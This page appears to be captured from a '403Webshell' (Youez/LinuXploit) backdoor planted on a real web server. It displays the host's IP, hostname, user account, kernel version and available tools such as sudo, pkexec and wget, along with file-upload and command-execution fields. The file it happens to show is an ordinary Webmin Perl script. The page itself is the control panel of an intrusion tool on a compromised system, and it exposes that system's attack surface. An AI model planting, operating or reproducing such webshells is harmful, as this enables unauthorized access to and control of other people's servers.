403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/virtual-server/disable_scripts.cgi
#!/usr/bin/perl
# Change the enabled status of multiple scripts

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newscripts_ecannot'});
&ReadParse();
%d = map { $_, 1 } split(/\0/, $in{'d'});

# Get the script objects, and update available and min version flags
foreach $s (&list_scripts()) {
	$script = &get_script($s);
	$script->{'avail_only'} = $d{$script->{'name'}};
	$script->{'minversion'} = $in{$script->{'name'}."_minversion"};
	push(@scripts, $script);
	}

# Save it
&save_scripts_available(\@scripts);
&run_post_actions_silently();
&webmin_log("enable", "scripts");
&redirect("edit_newscripts.cgi?mode=enable");


Youez - 2016 - github.com/yon3zu
LinuXploit